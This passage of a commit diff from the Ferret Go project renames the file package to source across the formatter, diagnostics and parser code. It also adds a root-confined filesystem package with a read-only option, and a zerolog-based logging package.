    +			NewMainErrorSpan(source.Span{Start: 0, End: 3}, "main error"),
    +			NewSecondaryErrorSpan(source.Span{Start: 4, End: 5}, "secondary error"),
     		},
     	}
     
    @@ -55,7 +55,7 @@ func TestFormatError_WithSpans(t *testing.T) {
     }
     
     func TestFormatError_WithCause(t *testing.T) {
    -	src := file.NewSource("test.fql", "LET x = 1")
    +	src := source.New("test.fql", "LET x = 1")
     
     	cause := &Diagnostic{
     		Kind:    UnexpectedError,
    @@ -89,7 +89,7 @@ func TestFormatError_WithCause(t *testing.T) {
     }
     
     func TestFormatError_WithIndent(t *testing.T) {
    -	src := file.NewSource("test.fql", "LET x = 1")
    +	src := source.New("test.fql", "LET x = 1")
     
     	err := &Diagnostic{
     		Kind:    UnexpectedError,
    @@ -108,7 +108,7 @@ func TestFormatError_WithIndent(t *testing.T) {
     }
     
     func TestFormatError_NilSpansHandling(t *testing.T) {
    -	src := file.NewSource("test.fql", "LET x = 1")
    +	src := source.New("test.fql", "LET x = 1")
     
     	err := &Diagnostic{
     		Kind:    UnexpectedError,
    
  • pkg/diagnostics/render.go+2 2 modified
    @@ -5,7 +5,7 @@ import (
     	"io"
     	"strings"
     
    -	"github.com/MontFerret/ferret/v2/pkg/file"
    +	"github.com/MontFerret/ferret/v2/pkg/source"
     )
     
     // SpanRenderer renders a source span with line numbers and a caret marker.
    @@ -16,7 +16,7 @@ type SpanRenderer struct {
     }
     
     // Render prints a span diagnostic block. It returns false when no location can be rendered.
    -func (r SpanRenderer) Render(out io.Writer, src *file.Source, span file.Span, label string) bool {
    +func (r SpanRenderer) Render(out io.Writer, src *source.Source, span source.Span, label string) bool {
     	if out == nil || src == nil || src.Empty() {
     		return false
     	}
    
  • pkg/formatter/formatter.go+3 2 modified
    @@ -6,8 +6,9 @@ import (
     
     	"github.com/antlr4-go/antlr/v4"
     
    +	"github.com/MontFerret/ferret/v2/pkg/source"
    +
     	"github.com/MontFerret/ferret/v2/pkg/diagnostics"
    -	"github.com/MontFerret/ferret/v2/pkg/file"
     	"github.com/MontFerret/ferret/v2/pkg/formatter/internal"
     	"github.com/MontFerret/ferret/v2/pkg/parser"
     	parserd "github.com/MontFerret/ferret/v2/pkg/parser/diagnostics"
    @@ -29,7 +30,7 @@ func New(setters ...Option) *Formatter {
     	}
     }
     
    -func (fmt *Formatter) Format(out io.Writer, src *file.Source) error {
    +func (fmt *Formatter) Format(out io.Writer, src *source.Source) error {
     	if src.Empty() {
     		return parserd.NewEmptyQueryError(src)
     	}
    
  • pkg/formatter/formatter_test.go+7 7 modified
    @@ -5,12 +5,12 @@ import (
     	"strings"
     	"testing"
     
    -	"github.com/MontFerret/ferret/v2/pkg/file"
    +	"github.com/MontFerret/ferret/v2/pkg/source"
     )
     
     func TestFormatter_TemplateLiteralDoesNotIndentInterpolation(t *testing.T) {
     	input := "RETURN { foo: `line1\n${1}`, veryLongPropertyNameThatForcesMultilineFormatting: 1 }"
    -	src := file.NewAnonymousSource(input)
    +	src := source.NewAnonymous(input)
     	var buf bytes.Buffer
     	fmt := New(WithPrintWidth(10))
     
    @@ -29,7 +29,7 @@ func TestFormatter_TemplateLiteralDoesNotIndentInterpolation(t *testing.T) {
     
     func TestFormatter_ArrayTemplateLiteralNewlineForcesMultiline(t *testing.T) {
     	input := "RETURN [`line1\n${1}`]"
    -	src := file.NewAnonymousSource(input)
    +	src := source.NewAnonymous(input)
     	var buf bytes.Buffer
     	fmt := New(WithPrintWidth(200))
     
    @@ -48,7 +48,7 @@ func TestFormatter_ArrayTemplateLiteralNewlineForcesMultiline(t *testing.T) {
     
     func TestFormatter_NestedObjectRespectsPrintWidthAtLineStart(t *testing.T) {
     	input := "RETURN [{ a: 1, bb: 2 }]"
    -	src := file.NewAnonymousSource(input)
    +	src := source.NewAnonymous(input)
     	var buf bytes.Buffer
     	fmt := New(WithPrintWidth(18))
     
    @@ -77,7 +77,7 @@ func TestFormatter_NestedObjectRespectsPrintWidthAtLineStart(t *testing.T) {
     
     func TestFormatter_BlockCommentPreservesLeadingSpace(t *testing.T) {
     	input := "RETURN 1\n/*\n * a\n * b\n */\nRETURN 2"
    -	src := file.NewAnonymousSource(input)
    +	src := source.NewAnonymous(input)
     	var buf bytes.Buffer
     	fmt := New()
     
    @@ -96,7 +96,7 @@ func TestFormatter_BlockCommentPreservesLeadingSpace(t *testing.T) {
     
     func TestFormatter_WaitForEventFilterUsesWhenAndRemainsParseable(t *testing.T) {
     	input := "LET obs = []\nWAITFOR EVENT \"test\" IN obs WHEN .type == \"match\"\nRETURN 1"
    -	src := file.NewAnonymousSource(input)
    +	src := source.NewAnonymous(input)
     	var buf bytes.Buffer
     	fmt := New()
     
    @@ -113,7 +113,7 @@ func TestFormatter_WaitForEventFilterUsesWhenAndRemainsParseable(t *testing.T) {
     	}
     
     	var roundTrip bytes.Buffer
    -	if err := fmt.Format(&roundTrip, file.NewAnonymousSource(out)); err != nil {
    +	if err := fmt.Format(&roundTrip, source.NewAnonymous(out)); err != nil {
     		t.Fatalf("formatted output must remain parseable: %v\nformatted:\n%s", err, out)
     	}
     }
    
  • pkg/formatter/internal/clause_test.go+3 3 modified
    @@ -4,8 +4,8 @@ import (
     	"bytes"
     	"testing"
     
    -	"github.com/MontFerret/ferret/v2/pkg/file"
     	"github.com/MontFerret/ferret/v2/pkg/parser/fql"
    +	"github.com/MontFerret/ferret/v2/pkg/source"
     )
     
     func TestClauseFormatter_TimeoutValueFormatsParam(t *testing.T) {
    @@ -14,7 +14,7 @@ func TestClauseFormatter_TimeoutValueFormatsParam(t *testing.T) {
     	timeout := mustFirst[*fql.TimeoutClauseContext](t, program)
     
     	var buf bytes.Buffer
    -	e := newEngine(file.NewAnonymousSource(input), &buf, DefaultOptions())
    +	e := newEngine(source.NewAnonymous(input), &buf, DefaultOptions())
     
     	e.clause.formatTimeoutClause(timeout)
     	if got := buf.String(); got != "TIMEOUT @t" {
    @@ -28,7 +28,7 @@ func TestClauseFormatter_EventFilterClauseUsesWhen(t *testing.T) {
     	filter := mustFirst[*fql.EventFilterClauseContext](t, program)
     
     	var buf bytes.Buffer
    -	e := newEngine(file.NewAnonymousSource(input), &buf, DefaultOptions())
    +	e := newEngine(source.NewAnonymous(input), &buf, DefaultOptions())
     
     	e.clause.formatEventFilterClause(filter)
     	if got := buf.String(); got != "WHEN .type == \"match\"" {
    
  • pkg/formatter/internal/engine.go+3 3 modified
    @@ -4,14 +4,14 @@ import (
     	"io"
     	"strings"
     
    -	"github.com/MontFerret/ferret/v2/pkg/file"
    +	"github.com/MontFerret/ferret/v2/pkg/source"
     )
     
     type (
     	context struct {
     		opts *Options
     		p    *printer
    -		src  *file.Source
    +		src  *source.Source
     	}
     
     	engine struct {
    @@ -28,7 +28,7 @@ type (
     	}
     )
     
    -func newEngine(src *file.Source, out io.Writer, opts *Options) *engine {
    +func newEngine(src *source.Source, out io.Writer, opts *Options) *engine {
     	ctx := &context{
     		opts: opts,
     		p:    newPrinter(out, opts),
    
  • pkg/formatter/internal/expression_test.go+12 12 modified
    @@ -4,8 +4,8 @@ import (
     	"bytes"
     	"testing"
     
    -	"github.com/MontFerret/ferret/v2/pkg/file"
     	"github.com/MontFerret/ferret/v2/pkg/parser/fql"
    +	"github.com/MontFerret/ferret/v2/pkg/source"
     )
     
     func TestExpressionFormatter_UnaryNot(t *testing.T) {
    @@ -14,7 +14,7 @@ func TestExpressionFormatter_UnaryNot(t *testing.T) {
     	expr := mustFirst[*fql.ExpressionContext](t, program)
     
     	var buf bytes.Buffer
    -	e := newEngine(file.NewAnonymousSource(input), &buf, DefaultOptions())
    +	e := newEngine(source.NewAnonymous(input), &buf, DefaultOptions())
     
     	e.expression.formatExpression(expr)
     	if got := buf.String(); got != "NOT a" {
    @@ -29,7 +29,7 @@ func TestExpressionFormatter_ImplicitMemberExpression(t *testing.T) {
     	expr := inlineRet.Expression().(*fql.ExpressionContext)
     
     	var buf bytes.Buffer
    -	e := newEngine(file.NewAnonymousSource(input), &buf, DefaultOptions())
    +	e := newEngine(source.NewAnonymous(input), &buf, DefaultOptions())
     
     	e.expression.formatExpression(expr)
     	if got := buf.String(); got != ".name" {
    @@ -44,7 +44,7 @@ func TestExpressionFormatter_ImplicitMemberExpressionOptional(t *testing.T) {
     	expr := inlineRet.Expression().(*fql.ExpressionContext)
     
     	var buf bytes.Buffer
    -	e := newEngine(file.NewAnonymousSource(input), &buf, DefaultOptions())
    +	e := newEngine(source.NewAnonymous(input), &buf, DefaultOptions())
     
     	e.expression.formatExpression(expr)
     	if got := buf.String(); got != "?.name" {
    @@ -59,7 +59,7 @@ func TestExpressionFormatter_ImplicitCurrentExpression(t *testing.T) {
     	expr := inlineRet.Expression().(*fql.ExpressionContext)
     
     	var buf bytes.Buffer
    -	e := newEngine(file.NewAnonymousSource(input), &buf, DefaultOptions())
    +	e := newEngine(source.NewAnonymous(input), &buf, DefaultOptions())
     
     	e.expression.formatExpression(expr)
     	if got := buf.String(); got != "." {
    @@ -73,7 +73,7 @@ func TestExpressionFormatter_QueryExpressionInline(t *testing.T) {
     	expr := mustFirst[*fql.ExpressionContext](t, program)
     
     	var buf bytes.Buffer
    -	e := newEngine(file.NewAnonymousSource(input), &buf, DefaultOptions())
    +	e := newEngine(source.NewAnonymous(input), &buf, DefaultOptions())
     
     	e.expression.formatExpression(expr)
     	if got := buf.String(); got != "QUERY `.items` IN doc USING css WITH { limit: 10 }" {
    @@ -87,7 +87,7 @@ func TestExpressionFormatter_QueryExpressionParamPayload(t *testing.T) {
     	expr := mustFirst[*fql.ExpressionContext](t, program)
     
     	var buf bytes.Buffer
    -	e := newEngine(file.NewAnonymousSource(input), &buf, DefaultOptions())
    +	e := newEngine(source.NewAnonymous(input), &buf, DefaultOptions())
     
     	e.expression.formatExpression(expr)
     	if got := buf.String(); got != "QUERY @q IN doc USING css" {
    @@ -101,7 +101,7 @@ func TestExpressionFormatter_QueryExpressionCountModifier(t *testing.T) {
     	expr := mustFirst[*fql.ExpressionContext](t, program)
     
     	var buf bytes.Buffer
    -	e := newEngine(file.NewAnonymousSource(input), &buf, DefaultOptions())
    +	e := newEngine(source.NewAnonymous(input), &buf, DefaultOptions())
     
     	e.expression.formatExpression(expr)
     	if got := buf.String(); got != "QUERY COUNT `.items` IN doc USING css" {
    @@ -117,7 +117,7 @@ func TestExpressionFormatter_QueryExpressionOneModifierWithMultiline(t *testing.
     	var buf bytes.Buffer
     	opts := DefaultOptions()
     	opts.printWidth = 20
    -	e := newEngine(file.NewAnonymousSource(input), &buf, opts)
    +	e := newEngine(source.NewAnonymous(input), &buf, opts)
     
     	e.expression.formatExpression(expr)
     	if got := buf.String(); got != "QUERY ONE `.items` IN doc USING css\n    WITH {\n        limit: 10,\n        timeout: 5\n    }" {
    @@ -131,7 +131,7 @@ func TestExpressionFormatter_MatchExpressionInline(t *testing.T) {
     	expr := mustFirst[*fql.ExpressionContext](t, program)
     
     	var buf bytes.Buffer
    -	e := newEngine(file.NewAnonymousSource(input), &buf, DefaultOptions())
    +	e := newEngine(source.NewAnonymous(input), &buf, DefaultOptions())
     
     	e.expression.formatExpression(expr)
     	if got := buf.String(); got != "MATCH x ( 1 => 10, _ => 0 )" {
    @@ -147,7 +147,7 @@ func TestExpressionFormatter_MatchExpressionGuardMultiline(t *testing.T) {
     	var buf bytes.Buffer
     	opts := DefaultOptions()
     	opts.printWidth = 10
    -	e := newEngine(file.NewAnonymousSource(input), &buf, opts)
    +	e := newEngine(source.NewAnonymous(input), &buf, opts)
     
     	e.expression.formatExpression(expr)
     	if got := buf.String(); got != "MATCH (\n    WHEN a > 0 => a,\n    WHEN a < 0 => -a,\n    _ => 0,\n)" {
    @@ -161,7 +161,7 @@ func TestExpressionFormatter_MatchExpressionObjectPattern(t *testing.T) {
     	expr := mustFirst[*fql.ExpressionContext](t, program)
     
     	var buf bytes.Buffer
    -	e := newEngine(file.NewAnonymousSource(input), &buf, DefaultOptions())
    +	e := newEngine(source.NewAnonymous(input), &buf, DefaultOptions())
     
     	e.expression.formatExpression(expr)
     	if got := buf.String(); got != `MATCH obj ( { "a": 1, b: v } => v, _ => 0 )` {
    
  • pkg/formatter/internal/list_test.go+2 2 modified
    @@ -5,8 +5,8 @@ import (
     	"strings"
     	"testing"
     
    -	"github.com/MontFerret/ferret/v2/pkg/file"
     	"github.com/MontFerret/ferret/v2/pkg/parser/fql"
    +	"github.com/MontFerret/ferret/v2/pkg/source"
     )
     
     func TestListFormatter_TemplateLiteralNewlineForcesMultiline(t *testing.T) {
    @@ -17,7 +17,7 @@ func TestListFormatter_TemplateLiteralNewlineForcesMultiline(t *testing.T) {
     	var buf bytes.Buffer
     	opts := DefaultOptions()
     	opts.printWidth = 200
    -	e := newEngine(file.NewAnonymousSource(input), &buf, opts)
    +	e := newEngine(source.NewAnonymous(input), &buf, opts)
     
     	e.list.formatArrayLiteral(array)
     	out := buf.String()
    
  • pkg/formatter/internal/statement_test.go+2 2 modified
    @@ -4,8 +4,8 @@ import (
     	"bytes"
     	"testing"
     
    -	"github.com/MontFerret/ferret/v2/pkg/file"
     	"github.com/MontFerret/ferret/v2/pkg/parser/fql"
    +	"github.com/MontFerret/ferret/v2/pkg/source"
     )
     
     func TestStatementFormatter_DispatchEventNameString(t *testing.T) {
    @@ -14,7 +14,7 @@ func TestStatementFormatter_DispatchEventNameString(t *testing.T) {
     	eventName := mustFirst[*fql.DispatchEventNameContext](t, program)
     
     	var buf bytes.Buffer
    -	e := newEngine(file.NewAnonymousSource(input), &buf, DefaultOptions())
    +	e := newEngine(source.NewAnonymous(input), &buf, DefaultOptions())
     
     	e.statement.formatDispatchEventName(eventName)
     	if got := buf.String(); got != "\"evt\"" {
    
  • pkg/formatter/internal/trivia_test.go+2 2 modified
    @@ -5,13 +5,13 @@ import (
     	"strings"
     	"testing"
     
    -	"github.com/MontFerret/ferret/v2/pkg/file"
    +	"github.com/MontFerret/ferret/v2/pkg/source"
     )
     
     func TestTriviaEmitter_PreservesBlockCommentIndent(t *testing.T) {
     	input := "/*\n * a\n * b\n */"
     	var buf bytes.Buffer
    -	e := newEngine(file.NewAnonymousSource(input), &buf, DefaultOptions())
    +	e := newEngine(source.NewAnonymous(input), &buf, DefaultOptions())
     
     	e.trivia.emitTrivia(input, false, false)
     	out := buf.String()
    
  • pkg/formatter/internal/visitor.go+2 2 modified
    @@ -3,16 +3,16 @@ package internal
     import (
     	"io"
     
    -	"github.com/MontFerret/ferret/v2/pkg/file"
     	"github.com/MontFerret/ferret/v2/pkg/parser/fql"
    +	"github.com/MontFerret/ferret/v2/pkg/source"
     )
     
     type Visitor struct {
     	*fql.BaseFqlParserVisitor
     	engine *engine
     }
     
    -func NewVisitor(src *file.Source, out io.Writer, opts *Options) *Visitor {
    +func NewVisitor(src *source.Source, out io.Writer, opts *Options) *Visitor {
     	return &Visitor{
     		BaseFqlParserVisitor: new(fql.BaseFqlParserVisitor),
     		engine:               newEngine(src, out, opts),
    
  • pkg/fs/context.go+56 0 added
    @@ -0,0 +1,56 @@
    +package fs
    +
    +import "context"
    +
    +type fsContextKey struct{}
    +
    +var fsCtxKey = fsContextKey{}
    +
    +// WithFileSystem adds FileSystem to context.
    +func WithFileSystem(ctx context.Context, registry FileSystem) context.Context {
    +	if ctx == nil {
    +		ctx = context.Background()
    +	}
    +
    +	return context.WithValue(ctx, fsCtxKey, registry)
    +}
    +
    +// FileSystemFrom gets FileSystem from context.
    +func FileSystemFrom(ctx context.Context) (FileSystem, error) {
    +	if ctx == nil {
    +		return nil, ErrNotFound
    +	}
    +
    +	val := ctx.Value(fsCtxKey)
    +	if val == nil {
    +		return nil, ErrNotFound
    +	}
    +
    +	fs, ok := val.(FileSystem)
    +
    +	if !ok {
    +		return nil, ErrNotFound
    +	}
    +
    +	return fs, nil
    +}
    +
    +// ReaderFrom gets Reader from context.
    +func ReaderFrom(ctx context.Context) (Reader, error) {
    +	return FileSystemFrom(ctx)
    +}
    +
    +// DirectoriesFrom gets Directories from context.
    +func DirectoriesFrom(ctx context.Context) (Directories, error) {
    +	return FileSystemFrom(ctx)
    +}
    +
    +// WriterFrom gets Writer from context.
    +func WriterFrom(ctx context.Context) (Writer, error) {
    +	return FileSystemFrom(ctx)
    +}
    +
    +// RemoverFrom gets Remover from context.
    +func RemoverFrom(ctx context.Context) (Remover, error) {
    +	return FileSystemFrom(ctx)
    +}
    
  • pkg/fs/context_test.go+66 0 added
    @@ -0,0 +1,66 @@
    +package fs
    +
    +import (
    +	"context"
    +	"errors"
    +	"testing"
    +)
    +
    +func TestWithFileSystemRoundTrip(t *testing.T) {
    +	filesystem := disabledFileSystem
    +	ctx := WithFileSystem(context.Background(), filesystem)
    +
    +	resolved, err := FileSystemFrom(ctx)
    +	if err != nil {
    +		t.Fatalf("filesystem from context failed: %v", err)
    +	}
    +
    +	if resolved != filesystem {
    +		t.Fatalf("expected same filesystem instance from context")
    +	}
    +}
    +
    +func TestContextResolvers(t *testing.T) {
    +	filesystem := disabledFileSystem
    +	ctx := WithFileSystem(context.Background(), filesystem)
    +
    +	if resolved, err := FileSystemFrom(ctx); err != nil {
    +		t.Fatalf("filesystem from context failed: %v", err)
    +	} else if resolved != filesystem {
    +		t.Fatalf("expected same filesystem from FileSystemFrom")
    +	}
    +
    +	if resolved, err := ReaderFrom(ctx); err != nil {
    +		t.Fatalf("reader from context failed: %v", err)
    +	} else if resolved != filesystem {
    +		t.Fatalf("expected same filesystem from ReaderFrom")
    +	}
    +
    +	if resolved, err := WriterFrom(ctx); err != nil {
    +		t.Fatalf("writer from context failed: %v", err)
    +	} else if resolved != filesystem {
    +		t.Fatalf("expected same filesystem from WriterFrom")
    +	}
    +
    +	if resolved, err := DirectoriesFrom(ctx); err != nil {
    +		t.Fatalf("directories from context failed: %v", err)
    +	} else if resolved != filesystem {
    +		t.Fatalf("expected same filesystem from DirectoriesFrom")
    +	}
    +
    +	if resolved, err := RemoverFrom(ctx); err != nil {
    +		t.Fatalf("remover from context failed: %v", err)
    +	} else if resolved != filesystem {
    +		t.Fatalf("expected same filesystem from RemoverFrom")
    +	}
    +}
    +
    +func TestFileSystemFromError(t *testing.T) {
    +	if _, err := FileSystemFrom(context.Background()); !errors.Is(err, ErrNotFound) {
    +		t.Fatalf("expected ErrNotFound for background context, got %v", err)
    +	}
    +
    +	if _, err := FileSystemFrom(nil); !errors.Is(err, ErrNotFound) {
    +		t.Fatalf("expected ErrNotFound for nil context, got %v", err)
    +	}
    +}
    
  • pkg/fs/errors.go+9 0 added
    @@ -0,0 +1,9 @@
    +package fs
    +
    +import "errors"
    +
    +var (
    +	ErrReadOnly          = errors.New("filesystem is read-only")
    +	ErrNotFound          = errors.New("filesystem not found in context")
    +	ErrRootNotConfigured = errors.New("filesystem root is not configured")
    +)
    
  • pkg/fs/file.go+18 0 added
    @@ -0,0 +1,18 @@
    +package fs
    +
    +import (
    +	"io"
    +	"io/fs"
    +)
    +
    +type (
    +	ReadableFile interface {
    +		fs.File
    +	}
    +
    +	WritableFile interface {
    +		ReadableFile
    +		io.Writer
    +		io.Seeker
    +	}
    +)
    
  • pkg/fs/fs_disabled.go+53 0 added
    @@ -0,0 +1,53 @@
    +package fs
    +
    +import (
    +	"io/fs"
    +)
    +
    +type disabledFS struct{}
    +
    +var disabledFileSystem = disabledFS{}
    +
    +func (n disabledFS) ReadFile(_ string) ([]byte, error) {
    +	return nil, ErrRootNotConfigured
    +}
    +
    +func (n disabledFS) Open(_ string) (ReadableFile, error) {
    +	return nil, ErrRootNotConfigured
    +}
    +
    +func (n disabledFS) OpenFile(_ string, _ int, _ fs.FileMode) (WritableFile, error) {
    +	return nil, ErrRootNotConfigured
    +}
    +
    +func (n disabledFS) Stat(_ string) (fs.FileInfo, error) {
    +	return nil, ErrRootNotConfigured
    +}
    +
    +func (n disabledFS) Exists(_ string) (bool, error) {
    +	return false, ErrRootNotConfigured
    +}
    +
    +func (n disabledFS) Mkdir(_ string, _ fs.FileMode) error {
    +	return ErrRootNotConfigured
    +}
    +
    +func (n disabledFS) MkdirAll(_ string, _ fs.FileMode) error {
    +	return ErrRootNotConfigured
    +}
    +
    +func (n disabledFS) WriteFile(_ string, _ []byte, _ fs.FileMode) error {
    +	return ErrRootNotConfigured
    +}
    +
    +func (n disabledFS) AppendFile(_ string, _ []byte, _ fs.FileMode) error {
    +	return ErrRootNotConfigured
    +}
    +
    +func (n disabledFS) Remove(_ string) error {
    +	return ErrRootNotConfigured
    +}
    +
    +func (n disabledFS) RemoveAll(_ string) error {
    +	return ErrRootNotConfigured
    +}
    
  • pkg/fs/fs.go+62 0 added
    @@ -0,0 +1,62 @@
    +package fs
    +
    +import (
    +	"io/fs"
    +	"os"
    +)
    +
    +type (
    +	Reader interface {
    +		ReadFile(path string) ([]byte, error)
    +		Open(path string) (ReadableFile, error)
    +		OpenFile(path string, flag int, perm fs.FileMode) (WritableFile, error)
    +		Stat(path string) (fs.FileInfo, error)
    +		Exists(path string) (bool, error)
    +	}
    +
    +	Directories interface {
    +		Mkdir(path string, perm fs.FileMode) error
    +		MkdirAll(path string, perm fs.FileMode) error
    +	}
    +
    +	Writer interface {
    +		WriteFile(path string, data []byte, perm fs.FileMode) error
    +		AppendFile(path string, data []byte, perm fs.FileMode) error
    +	}
    +
    +	Remover interface {
    +		Remove(path string) error
    +		RemoveAll(path string) error
    +	}
    +
    +	// FileSystem is an interface that combines file reading, directory operations, file writing, and file removal capabilities.
    +	// It provides a unified interface for accessing files and directories in a filesystem-based environment.
    +	FileSystem interface {
    +		Reader
    +		Directories
    +		Writer
    +		Remover
    +	}
    +)
    +
    +func New(setters ...Option) (FileSystem, error) {
    +	opts := &options{
    +		Root:     "",
    +		ReadOnly: false,
    +	}
    +
    +	for _, opt := range setters {
    +		opt(opts)
    +	}
    +
    +	if opts.Root == "" {
    +		return disabledFileSystem, nil
    +	}
    +
    +	r, err := os.OpenRoot(opts.Root)
    +	if err != nil {
    +		return nil, err
    +	}
    +
    +	return &rootFS{root: r, readOnly: opts.ReadOnly}, nil
    +}
    
  • pkg/fs/fs_root.go+117 0 added
    @@ -0,0 +1,117 @@
    +package fs
    +
    +import (
    +	"io"
    +	"io/fs"
    +	"os"
    +)
    +
    +type rootFS struct {
    +	root     *os.Root
    +	readOnly bool
    +}
    +
    +func (r *rootFS) Close() error {
    +	return r.root.Close()
    +}
    +
    +func (r *rootFS) ReadFile(path string) ([]byte, error) {
    +	f, err := r.root.Open(path)
    +	if err != nil {
    +		return nil, err
    +	}
    +	defer f.Close()
    +
    +	return io.ReadAll(f)
    +}
    +
    +func (r *rootFS) Open(path string) (ReadableFile, error) {
    +	return r.root.Open(path)
    +}
    +
    +func (r *rootFS) OpenFile(path string, flag int, perm fs.FileMode) (WritableFile, error) {
    +	if r.readOnly && isWriteOpen(flag) {
    +		return nil, ErrReadOnly
    +	}
    +
    +	return r.root.OpenFile(path, flag, perm)
    +}
    +
    +func (r *rootFS) Stat(path string) (fs.FileInfo, error) {
    +	return r.root.Stat(path)
    +}
    +
    +func (r *rootFS) Exists(path string) (bool, error) {
    +	_, err := r.root.Stat(path)
    +	if err == nil {
    +		return true, nil
    +	}
    +
    +	if os.IsNotExist(err) {
    +		return false, nil
    +	}
    +
    +	return false, err
    +}
    +
    +func (r *rootFS) WriteFile(path string, data []byte, perm fs.FileMode) error {
    +	if r.readOnly {
    +		return ErrReadOnly
    +	}
    +
    +	f, err := r.root.OpenFile(path, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, perm)
    +	if err != nil {
    +		return err
    +	}
    +	defer f.Close()
    +
    +	_, err = f.Write(data)
    +	return err
    +}
    +
    +func (r *rootFS) AppendFile(path string, data []byte, perm fs.FileMode) error {
    +	if r.readOnly {
    +		return ErrReadOnly
    +	}
    +
    +	f, err := r.root.OpenFile(path, os.O_CREATE|os.O_WRONLY|os.O_APPEND, perm)
    +	if err != nil {
    +		return err
    +	}
    +	defer f.Close()
    +
    +	_, err = f.Write(data)
    +	return err
    +}
    +
    +func (r *rootFS) Mkdir(path string, perm fs.FileMode) error {
    +	if r.readOnly {
    +		return ErrReadOnly
    +	}
    +
    +	return r.root.Mkdir(path, perm)
    +}
    +
    +func (r *rootFS) MkdirAll(path string, perm fs.FileMode) error {
    +	if r.readOnly {
    +		return ErrReadOnly
    +	}
    +
    +	return r.root.MkdirAll(path, perm)
    +}
    +
    +func (r *rootFS) Remove(path string) error {
    +	if r.readOnly {
    +		return ErrReadOnly
    +	}
    +
    +	return r.root.Remove(path)
    +}
    +
    +func (r *rootFS) RemoveAll(path string) error {
    +	if r.readOnly {
    +		return ErrReadOnly
    +	}
    +
    +	return r.root.RemoveAll(path)
    +}
    
  • pkg/fs/helpers.go+8 0 added
    @@ -0,0 +1,8 @@
    +package fs
    +
    +import "os"
    +
    +func isWriteOpen(flag int) bool {
    +	const writeMask = os.O_WRONLY | os.O_RDWR | os.O_APPEND | os.O_CREATE | os.O_TRUNC
    +	return flag&writeMask != 0
    +}
    
  • pkg/fs/options.go+22 0 added
    @@ -0,0 +1,22 @@
    +package fs
    +
    +type (
    +	Option func(*options)
    +
    +	options struct {
    +		Root     string
    +		ReadOnly bool
    +	}
    +)
    +
    +func WithRoot(root string) Option {
    +	return func(opts *options) {
    +		opts.Root = root
    +	}
    +}
    +
    +func WithReadOnly(readOnly bool) Option {
    +	return func(opts *options) {
    +		opts.ReadOnly = readOnly
    +	}
    +}
    
  • pkg/logging/level.go+38 0 added
    @@ -0,0 +1,38 @@
    +package logging
    +
    +import "github.com/rs/zerolog"
    +
    +type LogLevel int8
    +
    +const (
    +	DebugLevel LogLevel = iota
    +	InfoLevel
    +	WarnLevel
    +	ErrorLevel
    +	FatalLevel
    +	PanicLevel
    +	NoLevel
    +	Disabled
    +
    +	TraceLevel LogLevel = -1
    +)
    +
    +func ParseLogLevel(input string) (LogLevel, error) {
    +	lvl, err := zerolog.ParseLevel(input)
    +
    +	if err != nil {
    +		return NoLevel, err
    +	}
    +
    +	return LogLevel(lvl), nil
    +}
    +
    +func MustParseLogLevel(input string) LogLevel {
    +	lvl, err := zerolog.ParseLevel(input)
    +
    +	if err != nil {
    +		panic(err)
    +	}
    +
    +	return LogLevel(lvl)
    +}
    
  • pkg/logging/logger.go+53 0 added
    @@ -0,0 +1,53 @@
    +package logging
    +
    +import (
    +	"context"
    +
    +	"github.com/rs/zerolog"
    +)
    +
    +type Logger = zerolog.Logger
    +
    +func (l LogLevel) String() string {
    +	return zerolog.Level(l).String()
    +}
    +
    +func New(opts ...Option) zerolog.Logger {
    +	o := newOptions(opts...)
    +	c := zerolog.New(o.writer).With().Timestamp()
    +
    +	for k, v := range o.fields {
    +		c = c.Interface(k, v)
    +	}
    +
    +	return c.Logger().Level(zerolog.Level(o.level))
    +}
    +
    +func NewFrom(base Logger, opts ...Option) zerolog.Logger {
    +	if len(opts) == 0 {
    +		return base
    +	}
    +
    +	o := newOptions(opts...)
    +	c := base.With()
    +
    +	for k, v := range o.fields {
    +		c = c.Interface(k, v)
    +	}
    +
    +	l := c.Logger()
    +
    +	if o.hasLevel {
    +		l = l.Level(zerolog.Level(o.level))
    +	}
    +
    +	return l
    +}
    +
    +func With(ctx context.Context, opts ...Option) context.Context {
    +	return NewFrom(From(ctx), opts...).WithContext(ctx)
    +}
    +
    +func From(ctx context.Context) zerolog.Logger {
    +	return *zerolog.Ctx(ctx)
    +}
    
  • pkg/logging/options.go+76 0 added
    @@ -0,0 +1,76 @@
    +package logging
    +
    +import (
    +	"io"
    +)
    +
    +type (
    +	loggerOptions struct {
    +		writer   io.Writer
    +		fields   map[string]any
    +		level    LogLevel
    +		hasLevel bool
    +	}
    +
    +	Option func(*loggerOptions)
    +)
    +
    +func newOptions(opts ...Option) *loggerOptions {
    +	o := &loggerOptions{
    +		writer: io.Discard,
    +		level:  ErrorLevel,
    +	}
    +
    +	for _, opt := range opts {
    +		opt(o)
    +	}
    +
    +	return o
    +}
    +
    +func WithWriter(writer io.Writer) Option {
    +	return func(s *loggerOptions) {
    +		if writer == nil {
    +			return
    +		}
    +
    +		s.writer = writer
    +	}
    +}
    +
    +func WithField(key string, value any) Option {
    +	return func(s *loggerOptions) {
    +		if s.fields == nil {
    +			s.fields = make(map[string]any)
    +		}
    +
    +		s.fields[key] = value
    +	}
    +}
    +
    +func WithFields(fields map[string]any) Option {
    +	return func(s *loggerOptions) {
    +		if len(fields) == 0 {
    +			return
    +		}
    +
    +		if s.fields == nil {
    +			s.fields = make(map[string]any, len(fields))
    +		}
    +
    +		for k, v := range fields {
    +			s.fields[k] = v
    +		}
    +	}
    +}
    +
    +func WithLevel(level LogLevel) Option {
    +	return func(s *loggerOptions) {
    +		if level < TraceLevel || level > Disabled {
    +			return
    +		}
    +
    +		s.level = level
    +		s.hasLevel = true
    +	}
    +}
    
  • pkg/parser/diagnostics/error_analyzer.go+3 3 modified
    @@ -2,12 +2,12 @@ package diagnostics
     
     import (
     	"github.com/MontFerret/ferret/v2/pkg/diagnostics"
    -	"github.com/MontFerret/ferret/v2/pkg/file"
    +	"github.com/MontFerret/ferret/v2/pkg/source"
     )
     
    -type SyntaxErrorMatcher func(src *file.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool
    +type SyntaxErrorMatcher func(src *source.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool
     
    -func AnalyzeSyntaxError(src *file.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool {
    +func AnalyzeSyntaxError(src *source.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool {
     	matchers := []SyntaxErrorMatcher{
     		matchArrayOperatorErrors,
     		matchQueryErrors,
    
  • pkg/parser/diagnostics/error_analyzer_test.go+5 5 modified
